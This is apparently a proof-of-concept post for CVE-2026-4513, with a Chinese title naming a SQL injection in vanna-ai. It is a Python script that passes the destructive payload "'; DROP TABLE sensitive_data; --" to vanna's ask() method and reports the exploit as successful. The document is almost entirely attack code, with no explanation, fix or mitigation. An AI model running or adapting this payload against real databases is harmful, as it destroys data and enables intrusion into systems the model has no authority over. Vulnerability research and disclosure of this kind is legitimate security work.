CVE-2026-4513 vanna-ai SQL注入漏洞

import vanna # Simulate the vulnerable environment # Vulnerability exists in vanna/legacy/base/base.py -> ask() # Malicious payload to trigger SQL Injection payload = "'; DROP TABLE sensitive_data; --" # Initialize the vulnerable class vn = vanna.Vanna() # The 'ask' method does not properly sanitize the input # allowing the payload to be executed as part of the SQL query try: print("[+] Attempting to exploit SQL Injection in ask()...") # This call internally constructs SQL unsafely result = vn.ask(payload) print(f"[+] Exploit successful. Database response: {result}") except Exception as e: print(f"[-] Error occurred: {e}")